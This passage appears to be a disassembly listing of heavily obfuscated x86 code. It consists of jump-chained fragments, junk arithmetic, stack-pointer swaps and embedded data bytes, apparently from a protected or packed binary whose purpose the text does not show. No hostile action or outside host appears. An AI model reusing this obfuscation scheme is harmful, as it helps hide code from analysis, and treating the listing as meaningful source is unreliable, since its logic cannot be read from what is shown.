		mov	cl, 98h
		sub	al, cl
		pop	cx
		pop	edx
		sub	bl, 0D6h
		jmp	loc_58BD28
; ---------------------------------------------------------------------------


loc_5976FE:				; CODE XREF: sdfs____:0058D73Fj
		mov	edi, ebx
		mov	ebx, [esp]
		jmp	loc_58E11E
; ---------------------------------------------------------------------------
		dd 4BD55h, 6C010000h, 67E90424h, 68FFFF6Fh, 7AEAh, 54243C89h
		dd 0AC43E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597726:				; CODE XREF: sdfs____:0058EC16j
		mov	[esp], esi
		jmp	loc_58D38A
; ---------------------------------------------------------------------------
		dw 0F792h
		dd 0AB9EE9D2h, 248BFFFFh, 0C8B6624h, 0D073E924h, 7EE9FFFFh
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597747:				; CODE XREF: sdfs____:00596B25j
		pop	edx
		jmp	loc_58FC99
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 81h
		dd 61FFFFEDh, 2434FFC3h, 0FF2434FFh, 83592434h,	0C48304C4h
		dd 0E6895604h, 4BA52h, 0EE810000h, 38365794h, 0C681D601h
		dd 38365794h, 8124148Bh, 4C4h, 0ADEEE900h, 4BBFFFFh, 81000000h
		dd 32C08C7h, 81DF0137h,	32C08EFh, 0BBE95B37h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5977A3:				; CODE XREF: sdfs____:00592EBBj
		shl	edx, 1
		push	43B7h
		mov	[esp], ecx
		mov	ecx, 5260164Ah
		jmp	loc_594CF8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F5E92424h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5977BF:				; CODE XREF: sdfs____:00594D28j
		neg	ecx
		sub	ecx, 3E160471h
		mov	edi, ecx
		jmp	loc_594F61
; ---------------------------------------------------------------------------
		dw 0A6BBh
		dd 0E945C856h, 0FFFFF4FDh
; ---------------------------------------------------------------------------


loc_5977D8:				; CODE XREF: sdfs____:0058D6F2j
		or	edi, 69186677h
		xor	edi, 7DD52678h
		mov	edx, edi
		pop	edi
		jmp	loc_5944CB
; ---------------------------------------------------------------------------


loc_5977EC:				; CODE XREF: sdfs____:0059855Bj
		pop	ebp
		push	ecx
		push	edx
		mov	edx, 958071Fh
		not	edx
		push	esi
		jmp	loc_594B1D
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 4EC8102h, 89000000h, 0E789243Ch,	4A8FE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597812:				; CODE XREF: sdfs____:0058D24Dj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_58E44E
; ---------------------------------------------------------------------------


loc_59781D:				; CODE XREF: sdfs____:0058F61Cj
		mov	[esp], ebx
		mov	ebx, 4EFC33B2h
		jmp	loc_597B00
; ---------------------------------------------------------------------------


loc_59782A:				; CODE XREF: sdfs____:0059159Fj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58E3AA
; ---------------------------------------------------------------------------


loc_597835:				; CODE XREF: sdfs____:loc_5906D3j
		jmp	loc_5942AA
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0A00Ch
		dw 8900h
		dd 0DFBE2434h, 0E9490829h, 0FFFF733Ah
; ---------------------------------------------------------------------------


loc_59784C:				; CODE XREF: sdfs____:0058DD5Aj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58E4AB
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 911BE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597866:				; CODE XREF: sdfs____:00597260j
		shr	edx, 1
		sub	edx, 3DA51470h
		shl	edx, 5
		sub	edx, 4A0F473Ch
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5975F6
; ---------------------------------------------------------------------------


loc_597885:				; CODE XREF: sdfs____:005965DEj
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_597892:				; CODE XREF: sdfs____:00593F09j
		sub	al, cl
		pop	ecx
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0C3h
		add	al, ch
		mov	cx, [esp]
		jmp	loc_590912
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 0EDA5E924h, 0EC83FFFFh, 4D906804h, 24890000h
		dd 24048324h, 24048F04h, 4240481h, 0E9000000h, 0FFFF6500h
; ---------------------------------------------------------------------------


loc_5978E0:				; CODE XREF: sdfs____:0059737Ej
		pop	ebp
		add	ecx, edi
		push	ebx
		push	ebp
		mov	ebp, 0
		push	ebp
		xor	dword ptr [esp], 0B94F6Eh
		pop	ebx
		xor	ebx, 0B94F6Eh
		pop	ebp
		push	ebp
		push	esi
		jmp	loc_59866F
; ---------------------------------------------------------------------------


loc_597901:				; CODE XREF: sdfs____:0058EF1Dj
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58E833
; ---------------------------------------------------------------------------


loc_597915:				; CODE XREF: sdfs____:00594D14j
		and	si, 7818h
		xor	si, 0F115h
		jmp	loc_598111
; ---------------------------------------------------------------------------


loc_597924:				; CODE XREF: sdfs____:005983D9j
		pop	esp
		mov	[esp], ecx
		jmp	loc_59611E
; ---------------------------------------------------------------------------


loc_59792D:				; CODE XREF: sdfs____:0058E8B3j
		jmp	loc_58C62E
; ---------------------------------------------------------------------------


loc_597932:				; CODE XREF: sdfs____:0058E6DFj
		add	edi, 62E2593Bh
		add	edi, 487B753Dh
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 28h
		push	ebx
		mov	ebx, 2E7B180Ch
		sub	ecx, ebx
		pop	ebx
		jmp	loc_591906
; ---------------------------------------------------------------------------


loc_597959:				; CODE XREF: sdfs____:0058BD2Aj
		mov	al, 2Eh
		add	bl, al
		pop	ax
		sub	bl, 0A7h
		add	bl, al
		add	bl, 0A7h
		sub	bl, 2Eh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0D6h
		sub	bl, 93h
		add	bl, cl
		add	bl, 93h
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_594A9D
; ---------------------------------------------------------------------------


loc_59799B:				; CODE XREF: sdfs____:00593BABj
		and	bl, 62h
		xor	bl, 22h
		xor	bl, 93h
		add	al, bl
		pop	ebx
		add	al, 0C3h
		add	al, bl
		jmp	loc_592D52
; ---------------------------------------------------------------------------


loc_5979B0:				; CODE XREF: sdfs____:005915CDj
		pop	eax
		add	eax, ebx
		pop	ebx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5979D5:				; CODE XREF: sdfs____:0058BCC1j
		push	edi
		mov	edi, 4F33681Dh
		mov	ebx, 90E0EAAh
		xor	ebx, edi
		pop	edi
		add	ebx, 403E55B6h
		xor	ebx, 867BBC69h
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58FAAB
; ---------------------------------------------------------------------------


loc_597A00:				; CODE XREF: sdfs____:loc_596A8Dj
		xor	ebx, 3E44105Ah
		inc	ebx
		jl	loc_59224E
		sub	ebx, 34E3FFEAh
		jmp	loc_59630F
; ---------------------------------------------------------------------------
		dd offset dword_5AF300
		dd 26B050C3h, 2E9102Ch
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597A27:				; CODE XREF: sdfs____:0058CA80j
		sub	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		jmp	loc_590428
; ---------------------------------------------------------------------------


loc_597A32:				; CODE XREF: sdfs____:0058F882j
		shr	ebx, 4
		jmp	loc_59380F
; ---------------------------------------------------------------------------
		dw 51B6h
		dd 49E3E953h, 5059FFFFh, 0FFF644E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597A49:				; CODE XREF: sdfs____:00592A54j
					; sdfs____:loc_594DC2j
		add	edi, 106C412Dh
		jmp	loc_58CB58
; ---------------------------------------------------------------------------
		dd 3372EE81h, 89524F7Bh, 48152F2h, 0C0435624h, 562D587Ah
		dd 0E97AC043h, 0FFFFAA76h
; ---------------------------------------------------------------------------


loc_597A70:				; CODE XREF: sdfs____:0058D1FEj
		sub	al, cl
		pop	ecx
		jmp	loc_58BEA6
; ---------------------------------------------------------------------------
		dd 0FF3F48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597A7D:				; CODE XREF: sdfs____:0058E314j
		jz	loc_592F24
		xor	ebx, 3BE0C4F2h
		mov	ecx, ebx
		pop	ebx
		xor	edi, ecx
		jmp	loc_5922C4
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0E9505624h, 0FFFFD067h
; ---------------------------------------------------------------------------


loc_597AA0:				; CODE XREF: sdfs____:0058D774j
		add	esi, edx
		push	edx
		mov	edx, 6EFF5F2Fh
		jmp	loc_58D7CC
; ---------------------------------------------------------------------------


loc_597AAD:				; CODE XREF: sdfs____:00591668j
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58E65B
; ---------------------------------------------------------------------------
		dd 271D4FBDh, 4DDDF727h, 915E9h
		db 0
; ---------------------------------------------------------------------------


loc_597AC9:				; CODE XREF: sdfs____:0059867Cj
		pop	esi
		sub	ebx, 28207C5Fh
		jmp	loc_596FF6
; ---------------------------------------------------------------------------


loc_597AD5:				; CODE XREF: sdfs____:00596AE4j
		mov	edi, ebp
		mov	ebx, edi
		pop	edi
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5912BE
; ---------------------------------------------------------------------------


loc_597AF3:				; CODE XREF: sdfs____:00593CE3j
		sub	si, 3AD0h
		pop	ax
		push	ecx
		jmp	loc_590561
; ---------------------------------------------------------------------------


loc_597B00:				; CODE XREF: sdfs____:00597825j
		neg	ebx
		shr	ebx, 1
		shl	ebx, 8
		add	ebx, 6FDA53FCh
		push	eax
		mov	eax, 71D9639Eh
		xor	ebx, eax
		pop	eax
		sub	ebx, 8019195Eh
		jmp	loc_58D45D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 39C8h, 0BD242C89h, 4, 0E95DEE01h,	0FFFFA7C0h
; ---------------------------------------------------------------------------


loc_597B3C:				; CODE XREF: sdfs____:0058FD8Dj
		sub	ebp, 3597C875h
		mov	esi, ebp
		pop	ebp
		and	esi, 188902C3h
		jns	loc_595F46
		xor	esi, 68850A1Dh
		jno	loc_59093A
		mov	dl, 0E6h
		pop	ecx


loc_597B60:				; CODE XREF: sdfs____:0058CB4Dj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_592A77
; ---------------------------------------------------------------------------


loc_597B6D:				; CODE XREF: sdfs____:00596851j
		add	eax, 0AD66EA48h
		jmp	loc_5925E6
; ---------------------------------------------------------------------------
		db 80h
		dd 0D588A7C2h, 0E9FD305Ah, 0FFFF433Ah
; ---------------------------------------------------------------------------


loc_597B84:				; CODE XREF: sdfs____:00595432j
		jg	loc_58C05E
		sub	esi, 389EF025h
		push	27D3h
		mov	[esp], esi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	esi
		xor	eax, edi
		pop	edi
		jmp	loc_5944B6
; ---------------------------------------------------------------------------


loc_597BB4:				; CODE XREF: sdfs____:loc_58D0A9j
		neg	ebx
		jmp	loc_58F0AB
; ---------------------------------------------------------------------------
		db 9
		dd 0E00D5DE8h, 0E964CF73h, 0FFFFB46Fh, 24048F59h, 0FF743EE9h
		dd 0FFC801FFh, 81592434h, 4C4h,	7E53E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597BE2:				; CODE XREF: sdfs____:005981A1j
		mov	ebx, [esp]
		jmp	loc_59224E
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 22FE21E8h, 0D2CCE981h, 0CB018292h, 8BD83159h, 0C483241Ch
		dd 4EC8104h, 89000000h,	0E389241Ch, 0F4DAE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597C12:				; CODE XREF: sdfs____:005946ECj
		pop	dx
		pop	cx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58CB19
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8931h, 0B9E9CB87h, 2CFFFFB0h, 0B087E9BDh, 0A8BFFFFFh
		dd 8130A243h, 0B1603E7h, 97880F41h, 0E9000011h,	0FFFFCEE1h
		dd 840FDEF7h, 0FFFFC85Dh, 0FF865FE9h, 0C8B66FFh, 59545124h
		dd 8904EC83h, 7AB82404h, 569BC17h, 3B7176E0h, 3508E0C1h
		dd 2D8E5A04h, 0FF47C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597C7D:				; CODE XREF: sdfs____:0058F481j
		sub	ebx, 613D4662h
		add	ebx, 75D86CC3h
		add	ebx, ecx
		sub	ebx, 75D86CC3h
		add	ebx, 613D4662h
		jmp	loc_58E528
; ---------------------------------------------------------------------------


loc_597C9C:				; CODE XREF: sdfs____:0058CD57j
		or	ecx, 781F4DB7h
		add	ecx, 0C584E73Dh
		jmp	loc_5930CF
; ---------------------------------------------------------------------------


loc_597CAD:				; CODE XREF: sdfs____:00590E76j
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 0B7h
		dd 5BFD2893h, 5CA3E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597CC6:				; CODE XREF: sdfs____:0058BF85j
					; sdfs____:loc_597571j
		mov	ch, ah
		pop	eax
		pop	ebx
		pop	edx
		push	edx
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_58D26E
; ---------------------------------------------------------------------------


loc_597CE3:				; CODE XREF: sdfs____:0058DF0Ej
		push	ebp
		push	ecx
		mov	ecx, 43CA0401h
		xor	ecx, 39105F07h
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 43D16EB3h
		push	edx
		mov	edx, 78227180h
		add	ebp, edx
		pop	edx
		xchg	ecx, ebp
		neg	ecx
		xchg	ecx, ebp
		or	ebp, 2A323044h
		inc	ebp
		add	ebp, 0B333CAE2h
		xor	ecx, ebp
		pop	ebp
		shr	ecx, 8
		sub	ecx, 627056h
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_58D245
; ---------------------------------------------------------------------------


loc_597D2C:				; CODE XREF: sdfs____:00593BC2j
		mov	ecx, [esp]
		jmp	loc_591B08
; ---------------------------------------------------------------------------
		dd 4C481h, 46E90000h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597D3F:				; CODE XREF: sdfs____:0058FBECj
		mov	ebp, 1B324D8Ch
		xor	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_58D779
; ---------------------------------------------------------------------------


loc_597D4E:				; CODE XREF: sdfs____:0059085Dj
		inc	dx
		shl	dx, 4
		push	si
		jmp	loc_592F7B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 468D1BBBh, 0A081EA81h, 82E9CB5Ah, 89FFFFD1h,	91BA2414h
		dd 0E97E2177h, 0FFFFD04Fh
; ---------------------------------------------------------------------------


loc_597D78:				; CODE XREF: sdfs____:005975BEj
		push	edx
		mov	dl, 0A0h
		sub	dl, 29h
		mov	ah, dl
		pop	edx
		neg	ah
		and	ah, 50h
		jmp	loc_591B1B
; ---------------------------------------------------------------------------


loc_597D8B:				; CODE XREF: sdfs____:00590DC9j
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_5951CD
; ---------------------------------------------------------------------------


loc_597D94:				; CODE XREF: sdfs____:0059175Ej
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5908AC
		sub	esp, 4
		jmp	loc_598935
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 9DE95124h, 8BFFFF9Eh, 25E92424h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597DBB:				; CODE XREF: sdfs____:0058BDB3j
		pop	ebx
		push	572Dh
		mov	[esp], ebp
		jmp	loc_58CC9F
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 0FFFF6EDDh, 33CBEE81h, 0B951140Ch, 654F3FC4h, 0FF4B52E9h
		dd 68D831FFh, 48CEh, 0E9240C89h, 0FFFFF865h
; ---------------------------------------------------------------------------


loc_597DF0:				; CODE XREF: sdfs____:0058E007j
		inc	ebx
		jle	loc_5961D6
		push	ecx
		jmp	loc_594DC2
; ---------------------------------------------------------------------------


loc_597DFD:				; CODE XREF: sdfs____:0059824Fj
		push	eax
		jmp	loc_58E243
; ---------------------------------------------------------------------------


loc_597E03:				; CODE XREF: sdfs____:00593FB4j
		push	281Dh
		mov	[esp], ebx
		push	7D88h
		jmp	loc_59075B
; ---------------------------------------------------------------------------


loc_597E15:				; CODE XREF: sdfs____:0058FA30j
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_58D801
; ---------------------------------------------------------------------------
aI4HC		db '‰4$h$C',0
		align 2
		dw 1489h
		dd 289DBA24h, 0C2810719h, 0F8E6D765h, 6EE9D689h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597E3F:				; CODE XREF: sdfs____:00591CF9j
		xor	ebx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 58h
		dd 8904EC83h, 5E542434h, 0F212E950h, 835BFFFFh,	2E902C6h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597E67:				; CODE XREF: sdfs____:005926BEj
		push	edi
		mov	edi, 33322D0Dh
		jmp	loc_594290
; ---------------------------------------------------------------------------
		dw 5266h
		dd 8CE987B2h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597E7B:				; CODE XREF: sdfs____:0058BFD6j
		push	4F94h
		jmp	loc_58BE78
; ---------------------------------------------------------------------------


loc_597E85:				; CODE XREF: sdfs____:0059182Dj
					; sdfs____:0059279Dj
		idiv	cx
		jmp	loc_58DB37
; ---------------------------------------------------------------------------


loc_597E8D:				; CODE XREF: sdfs____:00592FBCj
		mov	[esp], ecx
		mov	ecx, 369E6683h
		add	esi, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	0
		push	dword ptr [esp]
		jmp	loc_59563D
; ---------------------------------------------------------------------------


loc_597EB7:				; CODE XREF: sdfs____:0059163Dj
		add	esp, 4
		push	edx
		mov	edx, 3D315CE9h
		add	eax, 73061090h
		sub	eax, edx
		sub	eax, 73061090h
		push	dword ptr [esp]
		jmp	loc_58F06A
; ---------------------------------------------------------------------------


loc_597ED4:				; CODE XREF: sdfs____:0058FFEAj
		mov	ebx, ecx
		pop	ecx
		add	ebx, 7BE64EB2h
		jmp	loc_594E2F
; ---------------------------------------------------------------------------


loc_597EE2:				; CODE XREF: sdfs____:0059881Cj
		mov	eax, 1469106Bh
		shl	eax, 8
		neg	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5BEB672Fh
		add	esi, 0E13EB983h
		add	eax, esi
		pop	esi
		shl	eax, 7
		push	1CCh
		jmp	loc_58EA68
; ---------------------------------------------------------------------------


loc_597F10:				; CODE XREF: sdfs____:00591702j
		pop	edx
		add	ecx, ebx
		sub	ecx, 30BC2869h
		jmp	loc_598C41
; ---------------------------------------------------------------------------


loc_597F1E:				; CODE XREF: sdfs____:005959CAj
		not	edx
		xchg	edx, ebp
		push	5C77h
		mov	[esp], ecx
		push	esi
		push	6F8B10A5h
		pop	esi
		shr	esi, 1
		jz	loc_5937D1
		inc	esi
		jle	loc_5939D3
		xor	esi, 8DCBE173h
		mov	ecx, esi
		pop	esi
		add	ebp, 72E414AEh
		sub	ebp, ecx
		sub	ebp, 72E414AEh
		mov	ecx, [esp]
		jmp	loc_58C418
; ---------------------------------------------------------------------------


loc_597F5F:				; CODE XREF: sdfs____:00594CFEj
		neg	ecx
		push	ebp
		mov	ebp, 1C2304D8h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, 9CDC7A10h
		jmp	loc_58DBDE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 2D68240Ch, 8900002Eh, 0E789243Ch, 4C781h, 0EF810000h
		dd 4, 0E9243C33h, 0FFFF94F5h
; ---------------------------------------------------------------------------


loc_597F9C:				; CODE XREF: sdfs____:00590EDEj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 0E8C1E95Ch, 0F001FFFFh, 0E924348Bh, 0FFFF9EDAh
; ---------------------------------------------------------------------------


loc_597FC8:				; CODE XREF: sdfs____:00594B02j
		pop	eax
		jmp	loc_58F68C
; ---------------------------------------------------------------------------


loc_597FCE:				; CODE XREF: sdfs____:0058BF20j
		xchg	eax, esi
		pop	esi
		jmp	loc_596951
; ---------------------------------------------------------------------------


loc_597FD5:				; CODE XREF: sdfs____:00592B09j
		pop	esi
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		or	ebx, ebp
		pop	ebp
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_597FE9:				; CODE XREF: sdfs____:00594EE8j
		or	eax, 74D00FC1h
		dec	eax
		shl	eax, 8
		jmp	loc_58BA8C
; ---------------------------------------------------------------------------
		db 89h
		dd 0B411E9E1h, 0E280FFFFh, 408E0FB5h, 0E9FFFFB0h, 0FFFFEF0Ah
; ---------------------------------------------------------------------------


loc_59800C:				; CODE XREF: sdfs____:00591A93j
		push	eax
		mov	eax, 662549BDh
		push	eax
		jmp	loc_596257
; ---------------------------------------------------------------------------


loc_598018:				; CODE XREF: sdfs____:0059215Ej
		xor	al, 0BDh
		jmp	loc_58C683
; ---------------------------------------------------------------------------
		db 81h
		dd 2131F8EFh, 0E4860F74h, 81FFFFDEh, 374B7DCFh,	0A22E979h
		dd 8B520000h, 0AD2D5AFDh, 294D7A50h, 0A6FFE9C8h, 0D6F7FFFFh
		dd 1A87B951h, 0CE011DB1h, 9AE68159h, 0E95C6846h, 0FFFF4630h
; ---------------------------------------------------------------------------


loc_59805C:				; CODE XREF: sdfs____:0058CD84j
		sub	edx, 3E5D725h
		push	edx
		pop	esi
		mov	edx, [esp]
		jmp	loc_598C90
; ---------------------------------------------------------------------------


loc_59806C:				; CODE XREF: sdfs____:005934E2j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_58D248
		push	dword ptr [edi+1Ch]
		push	esi
		push	1D77469Bh
		jmp	loc_592AC5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54532404h, 5B2434FFh, 4C481h, 0BA520000h, 4,	148BD301h
		dd 4C48324h, 0FFD2FFE9h, 6DC6B9FFh, 3BBA0182h, 8120439Ah
		dd 380D46C2h, 81CA2901h, 380D46EAh, 0EA815901h,	29B566C6h
		dd 0C281C229h, 29B566C6h, 1C570958h, 38DFE95Ah,	202DFFFFh
		dd 0F546F28h, 0FF664188h, 75BF57FFh, 29C8DF49h,	56585FF8h
		dd 468h, 675E900h, 0C2810000h, 4, 0FFABF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598111:				; CODE XREF: sdfs____:0059791Fj
		sub	ax, si
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59576E
; ---------------------------------------------------------------------------
		db 89h
		dd 0B753240Ch, 0E9505266h, 0FFFFD90Bh, 0F3EE815Ah, 81527C0Fh
		dd 0D50ED1F6h, 7AF0051Bh, 0BC052E86h, 1100442h,	42BC2DF0h
		dd 0F9E91004h, 1FFFF8Bh, 0C0835FF8h, 24043304h,	33240431h
		dd 248B2404h, 9CC88524h, 0FF385CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598169:				; CODE XREF: sdfs____:00594981j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_590663
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFD70Dh
; ---------------------------------------------------------------------------


loc_598180:				; CODE XREF: sdfs____:0059104Aj
		push	dword ptr [esp]
		pop	esi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp


loc_598199:				; CODE XREF: sdfs____:005916BBj
		push	ebx
		add	dword ptr [esp], 6A293A1Eh
		jmp	loc_597BE2
; ---------------------------------------------------------------------------
		dw 5F5Fh
		dd 0FF3818E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5981AD:				; CODE XREF: sdfs____:00591A3Bj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5956AB
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FFBACCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5981C9:				; CODE XREF: sdfs____:0059306Ej
		add	ebx, 0BFF3E000h
		mov	edi, ebx
		pop	ebx
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_58BC5C
; ---------------------------------------------------------------------------


loc_5981DC:				; CODE XREF: sdfs____:0058FE1Dj
		sub	esi, eax
		pop	eax
		pop	ebp
		add	[edi+24h], esi
		pop	esi


loc_5981E4:				; CODE XREF: sdfs____:0058D707j
		push	6995h
		mov	[esp], edi
		push	edx
		push	ebx
		sub	dword ptr [esp], 29113140h
		pop	edx
		add	edx, 29113140h
		mov	edi, edx
		pop	edx
		mov	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	3FABh
		jmp	loc_58BA1B
; ---------------------------------------------------------------------------
		db 0BBh, 0C7h, 26h
		dd 0DA0129D7h, 81F2015Bh, 0D726C7EAh, 0D58EE929h, 0EA81FFFFh
		dd 4, 5C241487h, 83240C89h, 48904ECh, 52AFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59823E:				; CODE XREF: sdfs____:00591E3Bj
		not	eax
		not	eax
		xor	eax, 5B31A2A2h
		sub	ebx, 4D676288h
		sub	ebx, eax
		jmp	loc_597DFD
; ---------------------------------------------------------------------------


loc_598254:				; CODE XREF: sdfs____:00595649j
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	edx, [esp]
		jmp	loc_592707
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF5943E9h, 72E781FFh, 0F656300h, 0FF4A7B8Ah, 0CA08E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59828A:				; CODE XREF: sdfs____:00593AE2j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	2A40h
		mov	[esp], esp
		jmp	loc_591FCB
; ---------------------------------------------------------------------------
		db 21h,	0D8h, 5Bh
		dd 0FFF481E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5982AD:				; CODE XREF: sdfs____:0058E695j
		mov	ecx, eax
		pop	eax
		jmp	loc_598B07
; ---------------------------------------------------------------------------


loc_5982B5:				; CODE XREF: sdfs____:0058E141j
		mov	[esp], ebp
		push	edi
		push	edx
		push	741C14D3h
		jmp	loc_59656D
; ---------------------------------------------------------------------------


loc_5982C4:				; CODE XREF: sdfs____:00596DE5j
		shl	esi, 7
		js	loc_592313
		dec	esi
		jl	loc_592033
		jmp	loc_5908AB
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 0E95C242Ch, 2E0h,	0C5FEEE86h, 0D468EE86h
		dd 89000025h, 93B5240Ch, 5E0568h, 241C8900h, 0FFF9B6E9h
		dd 2896BFFFh, 0FE0107D5h, 5F2434FFh, 4C481h, 90E90000h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59831B:				; CODE XREF: sdfs____:00593A2Bj
					; sdfs____:005965CDj
		shl	ebp, 6
		jns	loc_58E263
		add	ebp, 0C5B3D51h
		push	edx
		mov	ebp, eax
		pop	edi


loc_59832E:				; CODE XREF: sdfs____:0058F971j
		mov	edi, 0BAC8BD20h
		jmp	loc_58D081
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFF82A6h, 4EC81h, 14890000h, 4EC8124h
		dd 89000000h, 2DBB241Ch, 0BA35F839h, 1B326D48h,	0D4E9DA31h
		dd 81FFFF8Dh, 4C4h, 0CE57E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59836E:				; CODE XREF: sdfs____:0059094Bj
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_597285
; ---------------------------------------------------------------------------


loc_598377:				; CODE XREF: sdfs____:0058F46Ej
		add	edi, 4CD65867h
		dec	edi
		add	edi, 9773C4D0h
		xor	ecx, edi
		jmp	loc_590FF0
; ---------------------------------------------------------------------------


